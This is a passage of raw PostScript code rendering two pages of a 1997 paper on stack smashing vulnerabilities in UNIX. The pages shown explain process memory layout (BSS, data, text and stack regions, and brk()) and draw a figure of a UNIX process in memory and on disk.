-0.400 0 (e)A 6.000 0 32 (d )W 0.200 0 (i)A 6.000 0 32 (n )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D -0.700 0 (B)A 5.600 0 32 0.400 0 (SS )D (d)S -0.400 0 (a)A 0.200 0 (t)A 6.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 6.000 0 32 (on. )W -0.100 0 (T)A (h)S 6.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (a)A 0.200 0 (t)A 6.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A (on)S -1.000 0 (')A 5.900 0 32 0.100 0 (s s)D 0.200 0 (i)A 0.600 0 (z)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1982 M -0.400 0 (ca)A 8.000 0 32 (n b)W 8.400 0 32 -0.400 0 (e c)D (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A 8.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 8.000 0 32 (h )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.400 0 (P)A -0.200 0 (O)A 0.400 0 (S)A -2.300 0 (I)A 8.200 0 32 -0.200 0 (X )D 8.000 0 32 (2.9 )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 8.000 0 32 (d )W -0.300 0 (\()A ; : 0 0 4883 6391 rc 0 0 0 sco (F8_83) cvn F8 83 xF F8_83 Ji 2522 2007 M 0.200 0 (unistd.h)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2922 1982 M 8.300 0 32 -0.300 0 (\) )D 0.100 0 (s)A -3.000 0 (y)A 0.200 0 (m)A (bo)S 0.200 0 (li)A 8.400 0 32 -0.400 0 (c c)D (on)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (n)S 7.800 0 32 0.200 0 (t )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 8.000 0 32 (on )W ; : 0 0 4883 6391 rc 0 0 0 sco F8_83 Ji 4117 2007 M 0.200 0 (brk\(\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 4367 1982 M (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2159 M -2.300 0 (I)A 13.000 0 32 (n )W 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e e)D (v)S -0.400 0 (e)A (n)S 12.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (a)A 12.800 0 32 0.200 0 (t )D (b)S 0.100 0 (ss)A -0.300 0 (-)A (d)S -0.400 0 (a)A 0.200 0 (t)A 13.400 0 32 -0.400 0 (a )D (o)S 13.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 13.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 13.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A (h)S -0.400 0 (a)A (u)S 0.100 0 (s)A 0.200 0 (t)A 12.900 0 32 0.100 0 (s )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 13.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A 13.000 0 32 (, )W 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e c)D (u)S -0.300 0 (rr)A -0.400 0 (e)A (n)S 13.800 0 32 0.200 0 (t )D -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2336 M (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 2.900 0 32 0.100 0 (ss )D 0.200 0 (i)A 2.900 0 32 0.100 0 (s )D (b)S 0.200 0 (l)A (o)S -0.400 0 (c)A (k)S -0.400 0 (e)A 3.000 0 32 (d )W -0.400 0 (a)A 3.000 0 32 (nd )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A (h)S -0.400 0 (e)A (du)S 0.200 0 (l)A -0.400 0 (e)A 3.000 0 32 (d )W 0.200 0 (t)A 3.000 0 32 (o )W -0.300 0 (r)A 3.000 0 32 (un )W -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A 3.000 0 32 (n )W -0.200 0 (w)A 0.200 0 (it)A 3.000 0 32 (h )W 4.400 0 32 -0.400 0 (a )D 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 7.000 0 32 -3.000 0 (y )D 0.200 0 (m)A (odu)S 0.200 0 (l)A -0.400 0 (e)A 4.000 0 32 (. )W -0.200 0 (N)A -0.400 0 (e)A 4.200 0 32 -0.200 0 (w )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2513 M -0.070 0 (is added between the stack and data segments in the uninitialized region.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2690 M -0.100 0 (T)A (h)S 5.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (e)A 1.000 0 (x)A 4.800 0 32 0.200 0 (t )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 5.000 0 32 (on )W 0.200 0 (i)A 4.900 0 32 0.100 0 (s )D 5.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (ea)A (d)S -0.300 0 (-)A (on)S 0.200 0 (l)A 8.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 5.000 0 32 (on )W 0.200 0 (t)A (h)S -0.400 0 (a)A 4.800 0 32 0.200 0 (t i)D 4.900 0 32 0.100 0 (s s)D (h)S -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A 5.000 0 32 (d b)W 8.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 4.800 0 32 0.200 0 (ll )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 0.100 0 (ss)A -0.400 0 (e)A 4.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A (n)S 7.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2867 M -0.200 0 (A)A 0.200 0 (tt)A -0.400 0 (e)A 0.200 0 (m)A (p)S 0.200 0 (t)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A 4.000 0 32 (o )W -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (it)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 4.000 0 32 (o )W 0.200 0 (t)A (h)S 0.200 0 (i)A 4.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 5.000 0 32 (on )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (u)S 4.800 0 32 0.200 0 (lt i)D 5.000 0 32 (n )W 5.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 5.000 0 32 (on v)W 0.200 0 (i)A (o)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A 5.000 0 32 (on. )W -0.100 0 (T)A (h)S 0.200 0 (i)A 4.900 0 32 0.100 0 (s )D (d)S 0.200 0 (i)A -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A 4.900 0 32 0.100 0 (s )D -0.300 0 (fr)A (o)S 4.800 0 32 0.200 0 (m t)D (h)S 5.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3044 M -0.162 0 (and stack areas which are written by and are private to each process.)A ; LH savelevel1 restore pagesave restore (%%[ Page: 11 ]%%) = %%PageTrailer %%Page: 12 12 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (12)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; 879 502 N M 3417 4386 rr : 1.000 1.000 1.000 sco O ; 5 Lw 0 Lc 0 Lj solid 0 0 0 sco K 3100 3578 N M 1028 572 rr : 0.588 0.588 0.588 sco O ; 3074 3552 N M 1022 566 rr : 1.000 1.000 1.000 sco O ; 0 0 0 sco K 1704 643 N M 1027 3507 rr : 0.588 0.588 0.588 sco O ; 1677 616 N M 1023 3502 rr : 1.000 1.000 1.000 sco O ; 0 0 0 sco K : 1675 0 1031 6391 rc 1674 814 N M 1028 0 - 1 Lc 1 Lj 0 0 0 sco K ; : 1794 688 3089 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 1867 688 M -0.500 0 (p)A 0.252 0 (e)A -0.311 0 (r-)A -0.500 0 (p)A 0.689 0 (r)A -0.500 0 (o)A -0.748 0 (c)A 0.252 0 (e)A -0.687 0 32 -0.063 0 (ss )D 0.500 0 (k)A -0.748 0 (e)A -0.311 0 (r)A -0.500 0 (n)A 0.252 0 (e)A -1.124 0 32 0.374 0 (l )D -0.063 0 (s)A 0.374 0 (t)A -0.748 0 (ac)A 0.500 0 (k)A ; : 1675 0 1031 6391 rc 1674 1013 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2002 887 2881 76 rc 0 0 0 sco F2_67 Ji 2075 887 M -0.311 0 (r)A 0.252 0 (e)A 0.750 0 32 -0.500 0 (d )D -0.748 0 (z)A 0.500 0 (o)A -0.500 0 (n)A -0.748 0 (e)A ; : 1675 0 1031 6391 rc 1674 1212 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 1412 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 1612 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1996 1086 2887 76 rc 0 0 0 sco F2_67 Ji 2069 1086 M -0.500 0 (u)A 0.937 0 (s)A -0.748 0 (e)A 0.561 0 32 -0.311 0 (r )D -0.748 0 (a)A 0.689 0 (r)A -0.748 0 (ea)A ; : 1898 1286 2985 76 rc 0 0 0 sco F2_67 Ji 1971 1286 M -0.500 0 (p)A 0.937 0 (s)A -0.500 0 (_)A -1.063 0 (s)A 0.374 0 (t)A -0.311 0 (r)A 0.374 0 (i)A -0.500 0 (ng)A -0.687 0 32 -0.063 0 (s )D 0.937 0 (s)A -0.626 0 (t)A -0.311 0 (r)A -0.500 0 (u)A 0.252 0 (c)A -0.626 0 (t)A ; : 1964 1485 2919 76 rc 0 0 0 sco F2_67 Ji 2037 1485 M -0.063 0 (s)A 0.374 0 (i)A -0.500 0 (gn)A -0.748 0 (a)A -0.124 0 32 0.374 0 (l )D -0.748 0 (c)A -0.500 0 (o)A 0.500 0 (d)A -0.748 0 (e)A ; : 1675 0 1031 6391 rc 1674 1811 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 2011 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1970 1685 2913 76 rc 0 0 0 sco F2_67 Ji 2043 1685 M 0.252 0 (e)A 0.750 0 32 -0.500 0 (nv )D -0.063 0 (s)A -0.626 0 (t)A 0.689 0 (r)A -0.626 0 (i)A -0.500 0 (ng)A -0.063 0 (s)A ; : 1959 1885 2924 76 rc 0 0 0 sco F2_67 Ji 2032 1885 M 0.252 0 (a)A -0.311 0 (r)A 0.750 0 32 -0.500 0 (gv )D -0.063 0 (s)A 0.374 0 (t)A -0.311 0 (r)A -0.626 0 (i)A -0.500 0 (ng)A 0.937 0 (s)A ; : 1951 2084 2932 76 rc 0 0 0 sco F2_67 Ji 2024 2084 M 0.252 0 (e)A 0.750 0 32 -0.500 0 (nv p)D 0.500 0 (o)A -0.626 0 (i)A -0.500 0 (n)A 0.374 0 (t)A -0.748 0 (e)A -0.311 0 (r)A -0.063 0 (s)A ; : 1941 2283 2942 76 rc 0 0 0 sco F2_67 Ji 2014 2283 M 0.252 0 (a)A -0.311 0 (r)A 0.750 0 32 -0.500 0 (gv p)D 0.500 0 (o)A -0.626 0 (i)A -0.500 0 (n)A 0.374 0 (t)A -0.748 0 (e)A -0.311 0 (r)A -0.063 0 (s)A ; : 2058 2483 2825 76 rc 0 0 0 sco F2_67 Ji 2131 2483 M 0.252 0 (a)A -0.311 0 (r)A -0.500 0 (g)A 0.252 0 (c)A ; : 1983 2683 2900 76 rc 0 0 0 sco F2_67 Ji 2056 2683 M -0.500 0 (u)A 0.937 0 (s)A -0.748 0 (e)A 0.561 0 32 -0.311 0 (r )D -1.063 0 (s)A 0.374 0 (t)A 0.252 0 (a)A -0.748 0 (c)A -0.500 0 (k)A ; : 1675 0 1031 6391 rc 1674 2211 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 2410 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 2610 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1675 0 1031 6391 rc 1674 3550 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2052 3395 2831 76 rc 0 0 0 sco F2_67 Ji 2125 3395 M -0.500 0 (h)A 0.252 0 (e)A -0.748 0 (a)A 0.500 0 (p)A ; : 0 2780 4883 149 rc 2188 2779 N M 0 147 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; 2173 2916 N M 15 5 - 16 -5 - -16 35 - -15 -35 - C : 0 0 0 sco O ; : 0 3234 4883 150 rc 2188 3233 N M 0 147 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; 2204 3243 N M -16 -5 - -15 5 - 15 -35 - 16 35 - C : 0 0 0 sco O ; : 1675 0 1031 6391 rc 1674 3721 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2072 3595 2811 76 rc 0 0 0 sco F2_67 Ji 2145 3595 M -0.500 0 (b)A 0.937 0 (s)A -1.063 0 (s)A ; : 1675 0 1031 6391 rc 1674 3921 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1919 3794 2964 76 rc 0 0 0 sco F2_67 Ji 1992 3794 M 0.374 0 (i)A -0.500 0 (n)A -0.626 0 (i)A 0.374 0 (t)A -0.626 0 (i)A 0.252 0 (a)A -0.626 0 (l)A 0.374 0 (i)A -0.748 0 (z)A 0.252 0 (e)A 0.750 0 32 -0.500 0 (d d)D 0.252 0 (a)A -0.626 0 (t)A -0.748 0 (a)A ; : 1675 0 1031 6391 rc 1674 4120 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2065 3994 2818 76 rc 0 0 0 sco F2_67 Ji 2138 3994 M 0.374 0 (t)A -0.748 0 (e)A 0.500 0 (x)A -0.626 0 (t)A ; : 1122 3994 3761 76 rc 0 0 0 sco F2_67 Ji 1195 3994 M -0.500 0 (0)A 0.500 0 (x)A -0.500 0 (000)A 0.500 0 (0)A -0.500 0 (00)A 0.500 0 (0)A -0.500 0 (0)A ; : 1081 4113 3802 76 rc 0 0 0 sco F2_67 Ji 1154 4113 M -0.311 0 (\()A 0.374 0 (l)A -0.500 0 (o)A 0.624 0 32 -0.374 0 (w )D -0.748 0 (a)A 0.500 0 (d)A -0.500 0 (d)A -0.311 0 (r)A -0.748 0 (e)A 0.937 0 (s)A -1.063 0 (s)A 0.252 0 (e)A -1.063 0 (s)A 0.689 0 (\))A ; : 945 688 3938 76 rc 0 0 0 sco F2_67 Ji 1018 688 M -0.500 0 (0)A 0.500 0 (x)A -0.252 0 (FFF)A -0.500 0 (00)A 0.500 0 (0)A -0.500 0 (00)A ; : 900 807 3983 76 rc 0 0 0 sco F2_67 Ji 973 807 M -0.311 0 (\()A -0.500 0 (h)A 0.374 0 (i)A 0.750 0 32 -0.500 0 (gh )D 0.252 0 (a)A -0.500 0 (dd)A -0.311 0 (r)A 0.252 0 (e)A -0.063 0 (ss)A -0.748 0 (e)A -0.063 0 (s)A -0.311 0 (\))A ; : 3072 0 1031 6391 rc 3071 3721 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 3341 3595 1542 76 rc 0 0 0 sco F2_67 Ji 3414 3595 M -0.063 0 (s)A 0.500 0 (y)A -1.126 0 (m)A 0.500 0 (b)A -0.500 0 (o)A 0.876 0 32 -0.626 0 (l t)D 0.252 0 (a)A -0.500 0 (b)A 0.374 0 (l)A -0.748 0 (e)A ; : 3072 0 1031 6391 rc 3071 3921 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 3315 3794 1568 76 rc 0 0 0 sco F2_67 Ji 3388 3794 M 0.374 0 (i)A -0.500 0 (n)A -0.626 0 (i)A 0.374 0 (t)A -0.626 0 (i)A 0.252 0 (a)A -0.626 0 (l)A 0.374 0 (i)A -0.748 0 (z)A 0.252 0 (e)A 0.750 0 32 -0.500 0 (d d)D 0.252 0 (a)A -0.626 0 (t)A -0.748 0 (a)A ; : 3072 0 1031 6391 rc 3071 4120 N M 1028 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 3462 3994 1421 76 rc 0 0 0 sco F2_67 Ji 3535 3994 M 0.374 0 (t)A -0.748 0 (e)A 0.500 0 (x)A -0.626 0 (t)A ; 3100 4148 N M 1028 429 rr : 0.588 0.588 0.588 sco O ; 3074 4122 N M 1022 424 rr : 1.000 1.000 1.000 sco O ; : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K : 3103 4279 1780 76 rc 0 0 0 sco F2_67 Ji 3176 4279 M 0.374 0 (l)A -0.626 0 (i)A -0.500 0 (n)A 0.500 0 (k)A -0.748 0 (e)A 0.561 0 32 -0.311 0 (r )D -0.500 0 (h)A 0.252 0 (e)A -0.748 0 (a)A 0.500 0 (d)A -0.748 0 (e)A 0.561 0 32 -0.311 0 (r )D -0.624 0 32 -0.126 0 (& m)D 0.252 0 (a)A -0.500 0 (g)A -0.626 0 (i)A 0.998 0 32 -0.748 0 (c )D -0.500 0 (n)A 0.500 0 (u)A -0.126 0 (m)A -0.500 0 (b)A -0.748 0 (e)A 0.689 0 (r)A ; : 2701 0 376 6391 rc 2700 3718 N M 19 5 rr : 0 0 0 sco O ; ; 2738 3718 N M 19 5 rr : 0 0 0 sco O ; 2776 3718 N M 19 5 rr : 0 0 0 sco O ; 2814 3718 N M 19 5 rr : 0 0 0 sco O ; 2852 3718 N M 19 5 rr : 0 0 0 sco O ; 2890 3718 N M 19 5 rr : 0 0 0 sco O ; 2928 3718 N M 19 5 rr : 0 0 0 sco O ; 2966 3718 N M 19 5 rr : 0 0 0 sco O ; 3004 3718 N M 19 5 rr : 0 0 0 sco O ; 3042 3718 N M 19 5 rr : 0 0 0 sco O ; : 2701 0 376 6391 rc 2700 3918 N M 19 5 rr : 0 0 0 sco O ; ; 2738 3918 N M 19 5 rr : 0 0 0 sco O ; 2776 3918 N M 19 5 rr : 0 0 0 sco O ; 2814 3918 N M 19 5 rr : 0 0 0 sco O ; 2852 3918 N M 19 5 rr : 0 0 0 sco O ; 2890 3918 N M 19 5 rr : 0 0 0 sco O ; 2928 3918 N M 19 5 rr : 0 0 0 sco O ; 2966 3918 N M 19 5 rr : 0 0 0 sco O ; 3004 3918 N M 19 5 rr : 0 0 0 sco O ; 3042 3918 N M 19 5 rr : 0 0 0 sco O ; : 2701 0 376 6391 rc 2700 4117 N M 19 5 rr : 0 0 0 sco O ; ; 2738 4117 N M 19 5 rr : 0 0 0 sco O ; 2776 4117 N M 19 5 rr : 0 0 0 sco O ; 2814 4117 N M 19 5 rr : 0 0 0 sco O ; 2852 4117 N M 19 5 rr : 0 0 0 sco O ; 2890 4117 N M 19 5 rr : 0 0 0 sco O ; 2928 4117 N M 19 5 rr : 0 0 0 sco O ; 2966 4117 N M 19 5 rr : 0 0 0 sco O ; 3004 4117 N M 19 5 rr : 0 0 0 sco O ; 3042 4117 N M 19 5 rr : 0 0 0 sco O ; : 1770 4166 3113 98 rc 0 0 0 sco (F2_86) cvn F2 86 xF F2_86 Ji 1863 4166 M (p)S -0.638 0 (r)A (o)S -0.184 0 (ce)A 0.546 0 (s)A -0.046 0 32 -0.454 0 (s )D 0.092 0 (i)A -0.500 0 32 (n )W 0.092 0 (m)A -0.184 0 (e)A -0.908 0 (m)A (o)S -0.638 0 (r)A (y)S ; : 3073 4593 1810 98 rc 0 0 0 sco F2_86 Ji 3166 4593 M 0.362 0 (f)A -0.908 0 (i)A 0.092 0 (l)A 0.684 0 32 -0.184 0 (e )D -0.908 0 (i)A 0.500 0 32 (n )W -0.454 0 (s)A -0.184 0 (ec)A (o)S -1.000 0 (n)A (d)S -0.184 0 (a)A 0.362 0 (r)A 1.500 0 32 -1.000 0 (y )D -0.454 0 (s)A 0.092 0 (t)A -1.000 0 (o)A 0.362 0 (r)A -0.184 0 (a)A (g)S -1.184 0 (e)A ; : 2917 1971 1966 98 rc 0 0 0 sco F2_86 Ji 3010 1971 M -0.184 0 (c)A (o)S -0.908 0 (m)A 0.092 0 (m)A -0.184 0 (a)A -0.500 0 32 (nd )W 0.092 0 (l)A -0.908 0 (i)A (n)S 0.684 0 32 -0.184 0 (e a)D -0.638 0 (r)A (gu)S -0.908 0 (m)A -0.184 0 (e)A (n)S 0.092 0 (t)A -0.454 0 (s)A ; : 2969 2074 1914 98 rc 0 0 0 sco F2_86 Ji 3062 2074 M -0.184 0 (a)A -0.500 0 32 (nd )W -0.454 0 (s)A (h)S -0.184 0 (e)A -0.592 0 32 0.092 0 (ll )D -0.184 0 (e)A (nv)S -0.908 0 (i)A 0.362 0 (r)A (o)S -1.000 0 (n)A 0.092 0 (m)A -0.184 0 (e)A (n)S -0.908 0 (t)A ; : 2929 2210 290 404 rc 3217 2211 N M -4 -2 - -14 19 - 4 2 - 14 -19 - C : 0 0 0 sco O ; ; 3189 2249 N M -3 -2 - -14 19 - 4 2 - 13 -19 - C : 0 0 0 sco O ; 3162 2287 N M -4 -2 - -13 19 - 3 2 - 14 -19 - C : 0 0 0 sco O ; 3135 2325 N M -4 -2 - -14 19 - 5 2 - 13 -19 - C : 0 0 0 sco O ; 3108 2363 N M -4 -2 - -13 19 - 3 2 - 14 -19 - C : 0 0 0 sco O ; 3081 2401 N M -4 -2 - -14 19 - 4 2 - 14 -19 - C : 0 0 0 sco O ; 3053 2439 N M -3 -2 - -14 19 - 4 2 - 13 -19 - C : 0 0 0 sco O ; 3027 2477 N M -5 -2 - -13 19 - 4 2 - 14 -19 - C : 0 0 0 sco O ; 2999 2515 N M -3 -2 - -14 19 - 4 2 - 13 -19 - C : 0 0 0 sco O ; 2972 2553 N M -4 -2 - -13 19 - 3 2 - 14 -19 - C : 0 0 0 sco O ; : 2929 2210 290 404 rc 2945 2591 N M -4 -2 - -14 19 - 5 2 - 13 -19 - C : 0 0 0 sco O ; ; : 2929 1612 290 346 rc 2932 1610 N M -5 3 - 17 19 - 3 -3 - -15 -19 - C : 0 0 0 sco O ; ; 2963 1648 N M -3 3 - 15 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 2995 1686 N M -4 3 - 16 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 3027 1724 N M -5 3 - 17 19 - 3 -3 - -15 -19 - C : 0 0 0 sco O ; 3058 1762 N M -3 3 - 15 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 3090 1800 N M -4 3 - 16 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 3122 1838 N M -5 3 - 17 19 - 3 -3 - -15 -19 - C : 0 0 0 sco O ; 3153 1876 N M -3 3 - 15 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 3185 1914 N M -4 3 - 16 19 - 4 -3 - -16 -19 - C : 0 0 0 sco O ; 3217 1952 N M -4 3 - 4 -3 - C : 0 0 0 sco O ; : 2701 0 233 6391 rc 2700 2607 N M 19 5 rr : 0 0 0 sco O ; ; 2738 2607 N M 19 5 rr : 0 0 0 sco O ; 2776 2607 N M 19 5 rr : 0 0 0 sco O ; 2814 2607 N M 19 5 rr : 0 0 0 sco O ; 2852 2607 N M 19 5 rr : 0 0 0 sco O ; 2890 2607 N M 19 5 rr : 0 0 0 sco O ; 2928 2607 N M 2 5 rr : 0 0 0 sco O ; : 2701 0 233 6391 rc 2700 1609 N M 19 5 rr : 0 0 0 sco O ; ; 2738 1609 N M 19 5 rr : 0 0 0 sco O ; 2776 1609 N M 19 5 rr : 0 0 0 sco O ; 2814 1609 N M 19 5 rr : 0 0 0 sco O ; 2852 1609 N M 19 5 rr : 0 0 0 sco O ; 2890 1609 N M 19 5 rr : 0 0 0 sco O ; 2928 1609 N M 2 5 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 1456 4943 M 0.236 0 (Figure 7.a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1818 4944 M 0.053 0 ( UNIX Process in primary and secondary storage[5])A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 5091 M -0.100 0 (T)A (h)S 20.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 20.000 0 32 (k d)W 0.200 0 (i)A -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A 19.900 0 32 0.100 0 (s )D -0.300 0 (fr)A (o)S 19.800 0 32 0.200 0 (m )D -0.400 0 (a)A 20.000 0 32 (nd )W 0.200 0 (t)A (h)S 20.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (e)A 1.000 0 (x)A 19.800 0 32 0.200 0 (t )D -0.400 0 (a)A 20.000 0 32 (nd d)W -0.400 0 (a)A 0.200 0 (t)A 21.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A 20.900 0 32 0.100 0 (s )D 0.200 0 (i)A 21.000 0 32 (n )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3400 5091 M 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A (n)S 20.800 0 32 0.200 0 (t )D -0.200 0 (w)A -0.400 0 (a)A -3.000 0 (y)A 0.100 0 (s)A 21.000 0 32 (. )W 0.100 0 (M)A (o)S 0.100 0 (s)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5268 M 0.200 0 (im)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (n)S 0.200 0 (tl)A -3.000 0 (y)A 2.000 0 32 (, )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 2.000 0 32 (k )W 0.200 0 (i)A 1.900 0 32 0.100 0 (s )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A -0.400 0 (c)A 2.000 0 32 (, )W -0.400 0 (a)A 2.000 0 32 (nd d)W -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 